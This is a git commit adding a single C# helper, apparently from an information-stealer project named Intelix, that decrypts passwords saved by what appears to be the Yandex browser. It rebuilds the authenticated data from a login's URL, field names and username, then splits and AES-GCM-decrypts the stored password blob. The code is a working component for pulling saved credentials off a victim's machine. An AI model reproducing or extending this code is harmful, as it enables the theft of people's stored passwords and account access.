initial commit
This commit is contained in:
@@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class YaAuthenticatedData
|
||||
{
|
||||
public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm)
|
||||
{
|
||||
byte[] aad = new byte[0];
|
||||
using (SHA1 sHA = SHA1.Create())
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(url);
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(username_element);
|
||||
byte[] bytes3 = Encoding.UTF8.GetBytes(username_value);
|
||||
byte[] bytes4 = Encoding.UTF8.GetBytes(password_element);
|
||||
byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm);
|
||||
byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length];
|
||||
int num = 0;
|
||||
Array.Copy(bytes, 0, array, num, bytes.Length);
|
||||
num += bytes.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes2, 0, array, num, bytes2.Length);
|
||||
num += bytes2.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes3, 0, array, num, bytes3.Length);
|
||||
num += bytes3.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes4, 0, array, num, bytes4.Length);
|
||||
num += bytes4.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes5, 0, array, num, bytes5.Length);
|
||||
aad = sHA.ComputeHash(array);
|
||||
}
|
||||
byte[] array2 = new byte[12];
|
||||
Array.Copy(password_value, 0, array2, 0, 12);
|
||||
int num2 = password_value.Length - 12 - 16;
|
||||
byte[] array3 = new byte[num2];
|
||||
Array.Copy(password_value, 12, array3, 0, num2);
|
||||
byte[] array4 = new byte[16];
|
||||
Array.Copy(password_value, password_value.Length - 16, array4, 0, 16);
|
||||
return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user